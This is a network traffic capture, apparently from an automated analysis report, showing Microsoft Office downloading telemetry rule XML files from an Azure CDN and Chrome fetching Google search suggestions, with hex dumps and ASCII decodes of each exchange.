2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49701	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:19 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:19 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172619Z-r1cf579d778t6txphC1EWRsd4400000003dg000000006drr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49702	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:19 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:19 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172619Z-r1cf579d778v97q7hC1EWRf95c00000002fg000000008ufw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:19 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:20 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:19 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: cb80336d-801e-0078-59bd-47bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172619Z-r1cf579d778dndrdhC1EWR4b2400000002p0000000002x3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:20 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:19 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:19 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: a36b2733-e01e-0051-6f03-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172619Z-r1cf579d778dc6d7hC1EWR2vs800000003qg0000000029vb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:19 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:19 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172619Z-r1cf579d778kr8xrhC1EWRfkun00000003b0000000008ks5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49709	142.250.181.68	443	4524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:21 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 17:26:22 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:21 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Na2Y4y61c2uVRlLTUfuYvg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 17:26:22 UTC	124	IN	Data Raw: 64 38 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 72 61 64 79 20 74 6b 61 63 68 75 6b 20 72 61 6e 67 65 72 73 20 74 72 61 64 65 22 2c 22 63 68 72 69 73 74 6d 61 73 20 6d 75 73 69 63 20 63 68 72 69 73 74 6d 61 73 20 73 6f 6e 67 73 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 73 70 72 65 61 64 69 6e 67 20 74 68 65 20 6a 6f 79 20 72 65 77 61 72 64 73 22 2c 22 68 6f 6e 64 Data Ascii: d89)]}'["",["brady tkachuk rangers trade","christmas music christmas songs","monopoly go spreading the joy rewards","hond
2024-12-07 17:26:22 UTC	1390	IN	Data Raw: 61 20 72 65 63 61 6c 6c 73 22 2c 22 73 6f 6c 6f 20 6c 65 76 65 6c 69 6e 67 20 72 65 61 77 61 6b 65 6e 69 6e 67 22 2c 22 32 30 32 35 20 66 69 66 61 20 63 6c 75 62 20 77 6f 72 6c 64 20 63 75 70 22 2c 22 62 61 74 68 20 61 6e 64 20 62 6f 64 79 20 77 6f 72 6b 73 20 63 61 6e 64 6c 65 20 64 61 79 20 63 61 6e 64 6c 65 73 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 64 65 63 65 6d 62 65 72 20 37 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 Data Ascii: a recalls","solo leveling reawakening","2025 fifa club world cup","bath and body works candle day candles","nyt strands december 7"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc
